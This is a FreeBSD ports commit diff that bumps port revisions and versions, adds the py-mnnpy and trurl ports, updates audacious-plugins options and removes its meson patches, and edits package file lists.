+lib/R/library/grDevices/fonts/Roboto/Roboto-Medium.ttf lib/R/library/grDevices/help/AnIndex lib/R/library/grDevices/help/aliases.rds lib/R/library/grDevices/help/grDevices.rdb @@ -708,8 +712,9 @@ lib/R/library/lattice/Meta/hsearch.rds lib/R/library/lattice/Meta/links.rds lib/R/library/lattice/Meta/nsInfo.rds lib/R/library/lattice/Meta/package.rds +lib/R/library/lattice/Meta/vignette.rds lib/R/library/lattice/NAMESPACE -lib/R/library/lattice/NEWS +lib/R/library/lattice/NEWS.md lib/R/library/lattice/R/lattice lib/R/library/lattice/R/lattice.rdb lib/R/library/lattice/R/lattice.rdx @@ -720,6 +725,10 @@ lib/R/library/lattice/demo/intervals.R lib/R/library/lattice/demo/labels.R lib/R/library/lattice/demo/lattice.R lib/R/library/lattice/demo/panel.R +lib/R/library/lattice/doc/grid.R +lib/R/library/lattice/doc/grid.Rnw +lib/R/library/lattice/doc/grid.pdf +lib/R/library/lattice/doc/index.html lib/R/library/lattice/help/AnIndex lib/R/library/lattice/help/aliases.rds lib/R/library/lattice/help/lattice.rdb @@ -1017,6 +1026,7 @@ lib/R/library/stats/Meta/hsearch.rds lib/R/library/stats/Meta/links.rds lib/R/library/stats/Meta/nsInfo.rds lib/R/library/stats/Meta/package.rds +%%TEXDOCS%%lib/R/library/stats/Meta/vignette.rds lib/R/library/stats/NAMESPACE lib/R/library/stats/R/stats lib/R/library/stats/R/stats.rdb @@ -1026,6 +1036,10 @@ lib/R/library/stats/demo/glm.vr.R lib/R/library/stats/demo/lm.glm.R lib/R/library/stats/demo/nlm.R lib/R/library/stats/demo/smooth.R +%%TEXDOCS%%lib/R/library/stats/doc/index.html +%%TEXDOCS%%lib/R/library/stats/doc/reshape.R +%%TEXDOCS%%lib/R/library/stats/doc/reshape.Rnw +%%TEXDOCS%%lib/R/library/stats/doc/reshape.pdf lib/R/library/stats/help/AnIndex lib/R/library/stats/help/aliases.rds lib/R/library/stats/help/paths.rds diff --git a/math/glgraph/Makefile b/math/glgraph/Makefile index 183b63f2fb4..a56ae013471 100644 --- a/math/glgraph/Makefile +++ b/math/glgraph/Makefile @@ -1,6 +1,6 @@ PORTNAME= glgraph PORTVERSION= 0.2.6 -PORTREVISION= 11 +PORTREVISION= 12 CATEGORIES= math MASTER_SITES= http://glgraph.kaosu.ch/downl/ DISTNAME= ${PORTNAME}_${PORTVERSION} diff --git a/math/gri/Makefile b/math/gri/Makefile index 506f18f984e..38147dd9d81 100644 --- a/math/gri/Makefile +++ b/math/gri/Makefile @@ -1,6 +1,6 @@ PORTNAME= gri PORTVERSION= 2.12.23 -PORTREVISION= 12 +PORTREVISION= 13 CATEGORIES= math MASTER_SITES= SF diff --git a/math/labplot/files/patch-src_backend_cantorWorksheet_CantorWorksheet.cpp b/math/labplot/files/patch-src_backend_cantorWorksheet_CantorWorksheet.cpp new file mode 100644 index 00000000000..c044def688b --- /dev/null +++ b/math/labplot/files/patch-src_backend_cantorWorksheet_CantorWorksheet.cpp @@ -0,0 +1,12 @@ +--- src/backend/cantorWorksheet/CantorWorksheet.cpp.orig 2023-05-01 21:33:27 UTC ++++ src/backend/cantorWorksheet/CantorWorksheet.cpp +@@ -33,6 +33,9 @@ + #include + + #include ++#include ++#include ++#include + #include + + CantorWorksheet::CantorWorksheet(const QString &name, bool loading) diff --git a/math/orpie/Makefile b/math/orpie/Makefile index 13d3fa065e9..16f3bf3bb16 100644 --- a/math/orpie/Makefile +++ b/math/orpie/Makefile @@ -2,16 +2,16 @@ PORTNAME= orpie PORTVERSION= 1.5.2 PORTREVISION= 7 CATEGORIES+= math -MASTER_SITES= GENTOO http://pessimization.com/software/orpie/ +MASTER_SITES= https://github.com/pelzlpj/orpie/releases/download/release-${PORTVERSION}/ -MAINTAINER= ports@FreeBSD.org +MAINTAINER= mt-bugs@markoturk.info COMMENT= Fullscreen RPN calculator for the console WWW= https://pessimization.com/software/orpie/ LICENSE= GPLv2 -BROKEN= unfetchable -EXPIRATION_DATE=2023-04-30 +NOT_FOR_ARCHS= armv6 armv7 +NOT_FOR_ARCHS_REASON= architectures with double-word alignment for doubles are not supported BUILD_DEPENDS= ${LOCALBASE}/${OCAML_SITELIBDIR}/num/META:math/ocaml-num LIB_DEPENDS= libgsl.so:math/gsl @@ -22,9 +22,6 @@ USE_OCAML_CAMLP4=yes GNU_CONFIGURE= yes MAKE_JOBS_UNSAFE= yes -NOT_FOR_ARCHS= armv6 -NOT_FOR_ARCHS_REASON= architectures with double-word alignment for doubles are not supported - PLIST_FILES= bin/orpie bin/orpie-curses-keys etc/orpierc \ man/man1/orpie.1.gz man/man1/orpie-curses-keys.1.gz \ man/man5/orpierc.5.gz diff --git a/math/py-mnnpy/Makefile b/math/py-mnnpy/Makefile new file mode 100644 index 00000000000..a4cf71d62b9 --- /dev/null +++ b/math/py-mnnpy/Makefile @@ -0,0 +1,28 @@ +PORTNAME= mnnpy +DISTVERSION= 0.1.9.5 +CATEGORIES= math python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= yuri@FreeBSD.org +COMMENT= MNN (Mutual Nearest Neighbors) correct in python +WWW= https://github.com/chriscainx/mnnpy + +LICENSE= BSD3CLAUSE +LICENSE_FILE= ${WRKSRC}/LICENSE + +PY_DEPENDS= ${PYTHON_PKGNAMEPREFIX}anndata>0:devel/py-anndata@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}numba>0:devel/py-numba@${PY_FLAVOR} \ + ${PYNUMPY} \ + ${PYTHON_PKGNAMEPREFIX}pandas>0:math/py-pandas@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}scipy>0:science/py-scipy@${PY_FLAVOR} +BUILD_DEPENDS= ${PY_DEPENDS} +RUN_DEPENDS= ${PY_DEPENDS} + +USES= python:3.4+ +USE_PYTHON= distutils cython autoplist + +post-install: + @${STRIP_CMD} ${STAGEDIR}${PYTHON_SITELIBDIR}/mnnpy/_utils.cpython-39.so + +.include diff --git a/math/py-mnnpy/distinfo b/math/py-mnnpy/distinfo new file mode 100644 index 00000000000..212002a1f33 --- /dev/null +++ b/math/py-mnnpy/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682876665 +SHA256 (mnnpy-0.1.9.5.tar.gz) = 41cdafaf21392144b683d7acf99f7a1fc59085f9b3697cd6ace57f40dddace9c +SIZE (mnnpy-0.1.9.5.tar.gz) = 117915 diff --git a/math/py-mnnpy/pkg-descr b/math/py-mnnpy/pkg-descr new file mode 100644 index 00000000000..a1c50b50fb8 --- /dev/null +++ b/math/py-mnnpy/pkg-descr @@ -0,0 +1,2 @@ +mnnpy is an implementation of MNN correct in python featuring low memory usage, +full multicore support and compatibility with the scanpy framework. diff --git a/math/sage/Makefile b/math/sage/Makefile index d7f4dfdd189..446a8c0a178 100644 --- a/math/sage/Makefile +++ b/math/sage/Makefile @@ -1,6 +1,6 @@ PORTNAME= sage PORTVERSION= 9.2 -PORTREVISION= 38 +PORTREVISION= 39 CATEGORIES= math MASTER_SITES= https://mirrors.xmission.com/sage/src/ \ http://mirrors.xmission.com/sage/src/ \ diff --git a/misc/Makefile b/misc/Makefile index a095bd368e5..7d8034c8307 100644 --- a/misc/Makefile +++ b/misc/Makefile @@ -556,6 +556,7 @@ SUBDIR += tlci SUBDIR += toilet SUBDIR += translate + SUBDIR += trurl SUBDIR += ttyrec SUBDIR += tudu SUBDIR += tvbrowser diff --git a/misc/chatgpt-shell-cli/Makefile b/misc/chatgpt-shell-cli/Makefile index e5ae1fd07e0..236f0eb7f18 100644 --- a/misc/chatgpt-shell-cli/Makefile +++ b/misc/chatgpt-shell-cli/Makefile @@ -1,5 +1,6 @@ PORTNAME= chatgpt-shell-cli DISTVERSION= g20230411 +PORTREVISION= 1 CATEGORIES= misc MAINTAINER= nivit@FreeBSD.org diff --git a/misc/gkrellshoot2/Makefile b/misc/gkrellshoot2/Makefile index 8ab4bd81ea7..000b6d7f5b0 100644 --- a/misc/gkrellshoot2/Makefile +++ b/misc/gkrellshoot2/Makefile @@ -1,6 +1,6 @@ PORTNAME= gkrellshoot PORTVERSION= 0.4.4 -PORTREVISION= 10 +PORTREVISION= 11 CATEGORIES= misc MASTER_SITES= SF/${PORTNAME}/GkrellM2.0%20Port/${PORTVERSION} PKGNAMESUFFIX= 2 diff --git a/misc/img2xterm/Makefile b/misc/img2xterm/Makefile index 89c8726e183..c883cde74aa 100644 --- a/misc/img2xterm/Makefile +++ b/misc/img2xterm/Makefile @@ -1,7 +1,7 @@ PORTNAME= img2xterm PORTVERSION= 1.0.0 DISTVERSIONPREFIX= v -PORTREVISION= 3 +PORTREVISION= 4 CATEGORIES= misc MAINTAINER= ports@FreeBSD.org diff --git a/misc/meshoptimizer/Makefile b/misc/meshoptimizer/Makefile index e4b2250f8cb..6e18ef3d7c8 100644 --- a/misc/meshoptimizer/Makefile +++ b/misc/meshoptimizer/Makefile @@ -1,6 +1,6 @@ PORTNAME= meshoptimizer DISTVERSIONPREFIX= v -DISTVERSION= 0.18 +DISTVERSION= 0.19 CATEGORIES= misc python MAINTAINER= yuri@FreeBSD.org diff --git a/misc/meshoptimizer/distinfo b/misc/meshoptimizer/distinfo index 3b442dbd573..c8154fb2e5c 100644 --- a/misc/meshoptimizer/distinfo +++ b/misc/meshoptimizer/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1660886819 -SHA256 (zeux-meshoptimizer-v0.18_GH0.tar.gz) = f5bc07d7322e6292fe0afce03462b5c394d111386236f926fdc44d2aff3b854b -SIZE (zeux-meshoptimizer-v0.18_GH0.tar.gz) = 366012 +TIMESTAMP = 1682872682 +SHA256 (zeux-meshoptimizer-v0.19_GH0.tar.gz) = e334292ef29351387a79767e348f4bedb7645a0a9169be6bfa23bafa8ddc6ed4 +SIZE (zeux-meshoptimizer-v0.19_GH0.tar.gz) = 370020 diff --git a/misc/mnn/Makefile b/misc/mnn/Makefile index ddcf42bdc12..2f1ba489a1b 100644 --- a/misc/mnn/Makefile +++ b/misc/mnn/Makefile @@ -1,5 +1,5 @@ PORTNAME= mnn -DISTVERSION= 2.4.0 +DISTVERSION= 2.5.0 CATEGORIES= misc # machine-learning MAINTAINER= yuri@FreeBSD.org @@ -65,4 +65,6 @@ post-test: @cd ${BUILD_WRKSRC} && \ cd ${BUILD_WRKSRC} && ./run_test.out +# 5 tests fail, see https://github.com/alibaba/MNN/issues/2358 + .include diff --git a/misc/mnn/distinfo b/misc/mnn/distinfo index 6e8d2d6d35c..d2d3c8d8e6a 100644 --- a/misc/mnn/distinfo +++ b/misc/mnn/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1678783312 -SHA256 (alibaba-MNN-2.4.0_GH0.tar.gz) = 3b9e2038caac293b0a3c97c7ef8361f6e3b4d72e3da13feaf1b1c864a8224f0b -SIZE (alibaba-MNN-2.4.0_GH0.tar.gz) = 20154640 +TIMESTAMP = 1682876079 +SHA256 (alibaba-MNN-2.5.0_GH0.tar.gz) = 2ff2f3f65aa8a2402522ce3c0a3014120fab5429f82ef64c75507db0bab2c2ad +SIZE (alibaba-MNN-2.5.0_GH0.tar.gz) = 20553739 diff --git a/misc/py-censys/Makefile b/misc/py-censys/Makefile index b3d106477d4..b33e237c4ab 100644 --- a/misc/py-censys/Makefile +++ b/misc/py-censys/Makefile @@ -1,5 +1,5 @@ PORTNAME= censys -DISTVERSION= 2.1.9 +DISTVERSION= 2.2.0 CATEGORIES= misc python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} @@ -12,13 +12,14 @@ LICENSE= APACHE20 LICENSE_FILE= ${WRKSRC}/LICENSE PY_DEPENDS= ${PYTHON_PKGNAMEPREFIX}backoff>=2.0.1:devel/py-backoff@${PY_FLAVOR} \ - ${PYTHON_PKGNAMEPREFIX}requests>=2.26.0:www/py-requests@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}requests>=2.29.0:www/py-requests@${PY_FLAVOR} \ ${PYTHON_PKGNAMEPREFIX}rich>=10.16.2:textproc/py-rich@${PY_FLAVOR} -BUILD_DEPENDS= ${PY_DEPENDS} +BUILD_DEPENDS= ${PY_DEPENDS} \ + ${PYTHON_PKGNAMEPREFIX}poetry-core>=1.0.0:devel/py-poetry-core@${PY_FLAVOR} RUN_DEPENDS= ${PY_DEPENDS} USES= python:3.8+ -USE_PYTHON= distutils autoplist +USE_PYTHON= pep517 autoplist NO_ARCH= yes diff --git a/misc/py-censys/distinfo b/misc/py-censys/distinfo index dad3c1c8958..c797726739d 100644 --- a/misc/py-censys/distinfo +++ b/misc/py-censys/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1672090754 -SHA256 (censys-2.1.9.tar.gz) = caccc151083232c9ea989b705c676a5629743b51e5d8d3998012be08bb921001 -SIZE (censys-2.1.9.tar.gz) = 37482 +TIMESTAMP = 1682875657 +SHA256 (censys-2.2.0.tar.gz) = ad0925d56b681bd9dd6f2a64fc33baf354adafa8bd307dc9a3320d2f9cfe22e3 +SIZE (censys-2.2.0.tar.gz) = 37163 diff --git a/misc/pyobd/Makefile b/misc/pyobd/Makefile index d866ca47c13..50a199d3313 100644 --- a/misc/pyobd/Makefile +++ b/misc/pyobd/Makefile @@ -1,6 +1,6 @@ PORTNAME= pyobd DISTVERSION= 0.9.3 -PORTREVISION= 7 +PORTREVISION= 8 CATEGORIES= misc MASTER_SITES= http://www.obdtester.com/download/ DISTNAME= pyobd_${PORTVERSION} diff --git a/misc/trurl/Makefile b/misc/trurl/Makefile new file mode 100644 index 00000000000..7ceecbbdc6d --- /dev/null +++ b/misc/trurl/Makefile @@ -0,0 +1,26 @@ +PORTNAME= trurl +DISTVERSION= 0.6 +CATEGORIES= misc www + +MAINTAINER= otis@FreeBSD.org +COMMENT= Command line tool for URL parsing and manipulation +WWW= https://github.com/curl/trurl + +LICENSE= MIT +LICENSE_FILE= ${WRKSRC}/COPYING + +LIB_DEPENDS= libcurl.so:ftp/curl + +USE_GITHUB= yes +GH_ACCOUNT= curl +GH_TAGNAME= ${PORTNAME}-${DISTVERSION} + +MAKE_ARGS= CFLAGS="-I${LOCALBASE}/include" \ + LDFLAGS="-L${LOCALBASE}/lib" + +ALL_TARGET= ${PORTNAME} + +PLIST_FILES= bin/trurl \ + share/man/man1/trurl.1.gz + +.include diff --git a/misc/trurl/distinfo b/misc/trurl/distinfo new file mode 100644 index 00000000000..f71de50b0ef --- /dev/null +++ b/misc/trurl/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682851129 +SHA256 (curl-trurl-0.6-trurl-0.6_GH0.tar.gz) = 4564dff7441d33a29aa02fe64bea7ef0809d9fabc1609ac5b50ca5503e81caa6 +SIZE (curl-trurl-0.6-trurl-0.6_GH0.tar.gz) = 30517 diff --git a/misc/trurl/pkg-descr b/misc/trurl/pkg-descr new file mode 100644 index 00000000000..8d9d5a34667 --- /dev/null +++ b/misc/trurl/pkg-descr @@ -0,0 +1,3 @@ +Command line tool for URL parsing and manipulation. + +It can be used as a complementary tool with `curl'. diff --git a/misc/vfc/Makefile b/misc/vfc/Makefile index a0de1ad1c3a..e87abb5c08b 100644 --- a/misc/vfc/Makefile +++ b/misc/vfc/Makefile @@ -10,6 +10,9 @@ WWW= https://github.com/akb825/VertexFormatConvert LICENSE= APACHE20 LICENSE_FILE= ${WRKSRC}/LICENSE.txt +NOT_FOR_ARCHS= armv6 +NOT_FOR_ARCHS_REASON= requires NEON with FP16 support on ARM + TEST_DEPENDS= googletest>0:devel/googletest USES= cmake:testing compiler:c++14-lang @@ -24,4 +27,7 @@ CMAKE_ON= VFC_SHARED CMAKE_OFF= VFC_BUILD_TESTS CMAKE_TESTING_ON= VFC_BUILD_TESTS +CXXFLAGS+= ${CXXFLAGS_${ARCH}} +CXXFLAGS_armv7= -mfpu=neon-fp16 + .include diff --git a/multimedia/audacious-plugins/Makefile b/multimedia/audacious-plugins/Makefile index 038b98a4c0b..6493c5b2772 100644 --- a/multimedia/audacious-plugins/Makefile +++ b/multimedia/audacious-plugins/Makefile @@ -1,6 +1,5 @@ PORTNAME= audacious-plugins -PORTVERSION= 4.3 -PORTREVISION= 6 +PORTVERSION= 4.3.1 CATEGORIES= multimedia audio MASTER_SITES= http://distfiles.audacious-media-player.org/ @@ -27,7 +26,7 @@ USE_XORG= x11 CONFIGURE_ENV= LIBRARY_PATH="${LOCALBASE}/lib" MAKE_ENV= LIBRARY_PATH="${LOCALBASE}/lib" -MESON_ARGS= -Dconsole=false -Dmms=false -Dsoxr=false -Dcoreaudio=false +MESON_ARGS= -Dmms=false -Dcoreaudio=false qt5_CONFLICTS_INSTALL= audacious-plugins-qt6 audacious-plugins-gtk2 audacious-plugins-gtk3 qt5_RUN_DEPENDS= audacious:multimedia/audacious@qt5 @@ -70,9 +69,10 @@ USE_GNOME+= cairo gtk30 PLIST_SUB= QT="@comment " QT6="@comment " GTK="" .endif -OPTIONS_DEFINE= AAC ADPLUG AMIDI BS2B CDDA CUE FFMPEG FLAC LAME LIRC \ +OPTIONS_DEFINE= AAC ADPLUG AMIDI BS2B CDDA CONSOLE CUE FFMPEG FLAC LAME LIRC \ MODPLUG MPG123 MPRIS NEON NLS NOTIFY OPENGL OPENMPT OPUS \ - SAMPLERATE SCROBBLER SID SNDFILE SPEEDPITCH VORBIS WAVPACK + SAMPLERATE SCROBBLER SID SNDFILE SOXR SPEEDPITCH VORBIS \ + WAVPACK OPTIONS_MULTI= OUTPUT OPTIONS_MULTI_OUTPUT= ALSA FILEWRITER JACK OSS PIPEWIRE PULSEAUDIO SDL SNDIO OPTIONS_DEFAULT= AAC ADPLUG CDDA CUE FILEWRITER FFMPEG FLAC MPRIS \ @@ -89,6 +89,7 @@ ADPLUG_DESC= ADPLUG plugin AMIDI_DESC= Amidi decoder AOSD_DESC= Audacious OSD BS2B_DESC= BS2B effect +CONSOLE_DESC= Game Console Music Emulation FILEWRITER_DESC= File writer MPRIS_DESC= NPRIS plugin NEON_DESC= Neon plugin @@ -118,6 +119,7 @@ CDDA_LIB_DEPENDS= libcdio_cdda.so:sysutils/libcdio-paranoia \ libcddb.so:audio/libcddb \ libcdio.so:sysutils/libcdio CDDA_MESON_TRUE= cdaudio +CONSOLE_MESON_TRUE= console CUE_LIB_DEPENDS= libcue.so:textproc/libcue CUE_MESON_TRUE= cue FILEWRITER_MESON_TRUE= filewriter @@ -170,6 +172,8 @@ SNDFILE_LIB_DEPENDS= libsndfile.so:audio/libsndfile SNDFILE_MESON_TRUE= sndfile SNDIO_LIB_DEPENDS= libsndio.so:audio/sndio SNDIO_MESON_TRUE= sndio +SOXR_LIB_DEPENDS= libsoxr.so:audio/libsoxr +SOXR_MESON_TRUE= soxr SPEEDPITCH_MESON_TRUE= speedpitch SPEEDPITCH_IMPLIES= SAMPLERATE VORBIS_LIB_DEPENDS= libvorbis.so:audio/libvorbis \ @@ -200,12 +204,6 @@ MESON_ARGS+= -Dfilewriter-ogg=false MESON_ARGS+= -Dfilewriter-flac=false -Dfilewriter-mp3=false -Dfilewriter-ogg=false .endif -post-patch: - @${REINPLACE_CMD} -e 's|%%LOCALBASE%%|${LOCALBASE}|' \ - ${WRKSRC}/src/aac/meson.build \ - ${WRKSRC}/src/filewriter/meson.build \ - ${WRKSRC}/src/lirc/meson.build - post-patch-NLS-off: @${REINPLACE_CMD} -e "/^subdir('po')/d" ${WRKSRC}/meson.build diff --git a/multimedia/audacious-plugins/distinfo b/multimedia/audacious-plugins/distinfo index a7ab95a7429..b780519174a 100644 --- a/multimedia/audacious-plugins/distinfo +++ b/multimedia/audacious-plugins/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1678125312 -SHA256 (audacious-plugins-4.3.tar.bz2) = 662ef6c8c4bd70d0f35fd1c5f08b91549b9436638b65f8a1a33956b09df89fc6 -SIZE (audacious-plugins-4.3.tar.bz2) = 1932184 +TIMESTAMP = 1682842744 +SHA256 (audacious-plugins-4.3.1.tar.bz2) = 2dea26e3af583a2d684df240b27b2b2932bcd653df4db500a85f4fe5d5fdc8a6 +SIZE (audacious-plugins-4.3.1.tar.bz2) = 1786114 diff --git a/multimedia/audacious-plugins/files/patch-src_aac_meson.build b/multimedia/audacious-plugins/files/patch-src_aac_meson.build deleted file mode 100644 index 536ee6b8e1b..00000000000 --- a/multimedia/audacious-plugins/files/patch-src_aac_meson.build +++ /dev/null @@ -1,15 +0,0 @@ ---- src/aac/meson.build.orig 2023-03-05 17:51:20 UTC -+++ src/aac/meson.build -@@ -1,6 +1,10 @@ --faad_dep = cxx.find_library('faad', required: false) --have_aac = faad_dep.found() and cxx.has_header('neaacdec.h') -+faad_dep = dependency('faad2', required: false) - -+if not faad_dep.found() -+ faad_dep = cxx.find_library('faad', has_headers: 'neaacdec.h', required: false) -+endif -+ -+have_aac = faad_dep.found() - - if have_aac - shared_module('aac-raw', diff --git a/multimedia/audacious-plugins/files/patch-src_filewriter_meson.build b/multimedia/audacious-plugins/files/patch-src_filewriter_meson.build deleted file mode 100644 index 147769b8249..00000000000 --- a/multimedia/audacious-plugins/files/patch-src_filewriter_meson.build +++ /dev/null @@ -1,18 +0,0 @@ ---- src/filewriter/meson.build.orig 2023-03-05 17:51:20 UTC -+++ src/filewriter/meson.build -@@ -34,9 +34,13 @@ if get_option('filewriter-mp3') - - - if get_option('filewriter-mp3') -- lame_dep = cxx.find_library('mp3lame', required: false) -+ lame_dep = dependency('lame', required: false) - -- if lame_dep.found() and cxx.has_header('lame/lame.h') -+ if not lame_dep.found() -+ lame_dep = cxx.find_library('mp3lame', has_headers: 'lame/lame.h', required: false) -+ endif -+ -+ if lame_dep.found() - filewriter_deps += [lame_dep] - filewriter_srcs += ['mp3.cc'] - diff --git a/multimedia/audacious-plugins/files/patch-src_lirc_meson.build b/multimedia/audacious-plugins/files/patch-src_lirc_meson.build deleted file mode 100644 index 0b4c2295d06..00000000000 --- a/multimedia/audacious-plugins/files/patch-src_lirc_meson.build +++ /dev/null @@ -1,22 +0,0 @@ ---- src/lirc/meson.build.orig 2023-03-05 17:51:20 UTC -+++ src/lirc/meson.build -@@ -1,13 +1,16 @@ --lirc_dep = cxx.find_library('lirc', required: false) --have_lirc = lirc_dep.found() and cxx.has_header('lirc/lirc_client.h') -+lirc_dep = dependency('lirc', required: false) - -+if not lirc_dep.found() -+ lirc_dep = cxx.find_library('lirc_client', has_headers: 'lirc/lirc_client.h', required: false) -+endif -+have_lirc = lirc_dep.found() - -+ - if have_lirc - shared_module('lirc', - 'lirc.cc', - dependencies: [audacious_dep, glib_dep, lirc_dep], - name_prefix: '', -- link_args: ['-llirc_client'], - install: true, - install_dir: general_plugin_dir - ) diff --git a/multimedia/audacious-plugins/pkg-plist b/multimedia/audacious-plugins/pkg-plist index cdbf5e19537..77c8e9f2a24 100644 --- a/multimedia/audacious-plugins/pkg-plist +++ b/multimedia/audacious-plugins/pkg-plist @@ -15,6 +15,7 @@ lib/audacious/Effect/echo.so lib/audacious/Effect/mixer.so %%SAMPLERATE%%lib/audacious/Effect/resample.so lib/audacious/Effect/silence-removal.so +%%SOXR%%lib/audacious/Effect/sox-resampler.so %%SPEEDPITCH%%lib/audacious/Effect/speed-pitch.so lib/audacious/Effect/stereo.so lib/audacious/Effect/voice_removal.so @@ -31,7 +32,7 @@ lib/audacious/General/delete-files.so %%NOTIFY%%lib/audacious/General/notify.so %%GTK%%lib/audacious/General/playlist-manager.so %%QT%%lib/audacious/General/playlist-manager-qt.so -%%QT%%%%QT5%%lib/audacious/General/qthotkey.so +%%QT%%lib/audacious/General/qthotkey.so %%QT%%lib/audacious/General/qtui.so %%SCROBBLER%%lib/audacious/General/scrobbler.so %%GTK%%lib/audacious/General/search-tool.so @@ -45,6 +46,7 @@ lib/audacious/General/song_change.so %%AAC%%lib/audacious/Input/aac-raw.so %%AMIDI%%lib/audacious/Input/amidi-plug.so %%CDDA%%lib/audacious/Input/cdaudio-ng.so +%%CONSOLE%%lib/audacious/Input/console.so %%FFMPEG%%lib/audacious/Input/ffaudio.so %%FLAC%%lib/audacious/Input/flacng.so lib/audacious/Input/madplug.so @@ -118,101 +120,6 @@ share/audacious/Skins/Classic1.3/volume.png share/audacious/Skins/Default/cbuttons.png share/audacious/Skins/Default/eq_ex.png share/audacious/Skins/Default/eqmain.png -share/audacious/Skins/Default/gtk-2.0/Arrows/arrow-down.png -share/audacious/Skins/Default/gtk-2.0/Arrows/arrow-insens.png -share/audacious/Skins/Default/gtk-2.0/Arrows/arrow-left.png -share/audacious/Skins/Default/gtk-2.0/Arrows/arrow-right.png -share/audacious/Skins/Default/gtk-2.0/Arrows/arrow-up.png -share/audacious/Skins/Default/gtk-2.0/Buttons/button-insensitive.png -share/audacious/Skins/Default/gtk-2.0/Buttons/button-normal.png -share/audacious/Skins/Default/gtk-2.0/Buttons/button-prelight.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/check1.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/check2.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/check3.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/check4.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/check5.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/check6.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/option1.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/option2.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/option3.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/option4.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/option5.png -share/audacious/Skins/Default/gtk-2.0/Check-Radio/option6.png -share/audacious/Skins/Default/gtk-2.0/Frame-Gap/frame-gap-end.png -share/audacious/Skins/Default/gtk-2.0/Frame-Gap/frame-gap-start.png -share/audacious/Skins/Default/gtk-2.0/Frame-Gap/frame.png -share/audacious/Skins/Default/gtk-2.0/Handles/handle-h.png -share/audacious/Skins/Default/gtk-2.0/Handles/handle-v.png -share/audacious/Skins/Default/gtk-2.0/Lines/line-h.png -share/audacious/Skins/Default/gtk-2.0/Lines/line-v.png -share/audacious/Skins/Default/gtk-2.0/ListHeaders/list_header-insens.png -share/audacious/Skins/Default/gtk-2.0/ListHeaders/list_header-prelight.png -share/audacious/Skins/Default/gtk-2.0/ListHeaders/list_header-pressed.png -share/audacious/Skins/Default/gtk-2.0/ListHeaders/list_header.png -share/audacious/Skins/Default/gtk-2.0/Menu-Menubar/menu.png -share/audacious/Skins/Default/gtk-2.0/Menu-Menubar/menubar-item-active.png -share/audacious/Skins/Default/gtk-2.0/Menu-Menubar/menubar-item.png -share/audacious/Skins/Default/gtk-2.0/Menu-Menubar/menubar.png -share/audacious/Skins/Default/gtk-2.0/Others/null.png -share/audacious/Skins/Default/gtk-2.0/Others/ruler.png -share/audacious/Skins/Default/gtk-2.0/Panel/panel-bg.png -share/audacious/Skins/Default/gtk-2.0/ProgressBar/progressbar-horiz.png -share/audacious/Skins/Default/gtk-2.0/ProgressBar/trough-progressbar-horiz.png -share/audacious/Skins/Default/gtk-2.0/Range/slider-horiz-prelight.png -share/audacious/Skins/Default/gtk-2.0/Range/slider-horiz.png -share/audacious/Skins/Default/gtk-2.0/Range/slider-vert-prelight.png -share/audacious/Skins/Default/gtk-2.0/Range/slider-vert.png -share/audacious/Skins/Default/gtk-2.0/Range/trough-horizontal.png -share/audacious/Skins/Default/gtk-2.0/Range/trough-vertical.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/scroll-thumb-horiz-pre.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/scroll-thumb-horiz.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/scroll-thumb-vert-pre.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/scroll-thumb-vert.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/slider-horiz-pre.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/slider-horiz.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/slider-vert-pre.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/slider-vert.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/stepper-down-prelight.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/stepper-down.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/stepper-left-prelight.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/stepper-left.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/stepper-right-prelight.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/stepper-right.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/stepper-up-prelight.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/stepper-up.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/trough-scrollbar-horiz.png -share/audacious/Skins/Default/gtk-2.0/Scrollbars/trough-scrollbar-vert.png -share/audacious/Skins/Default/gtk-2.0/Shadows/shadow-in.png -share/audacious/Skins/Default/gtk-2.0/Shadows/shadow-out.png -share/audacious/Skins/Default/gtk-2.0/Shadows/text-.png -share/audacious/Skins/Default/gtk-2.0/Shadows/text-entry.png -share/audacious/Skins/Default/gtk-2.0/Spin/spin-down-disable.png -share/audacious/Skins/Default/gtk-2.0/Spin/spin-down-prelight.png -share/audacious/Skins/Default/gtk-2.0/Spin/spin-down.png -share/audacious/Skins/Default/gtk-2.0/Spin/spin-up-disable.png -share/audacious/Skins/Default/gtk-2.0/Spin/spin-up-prelight.png -share/audacious/Skins/Default/gtk-2.0/Spin/spin-up.png -share/audacious/Skins/Default/gtk-2.0/Tabs/gap-bottom-left.png 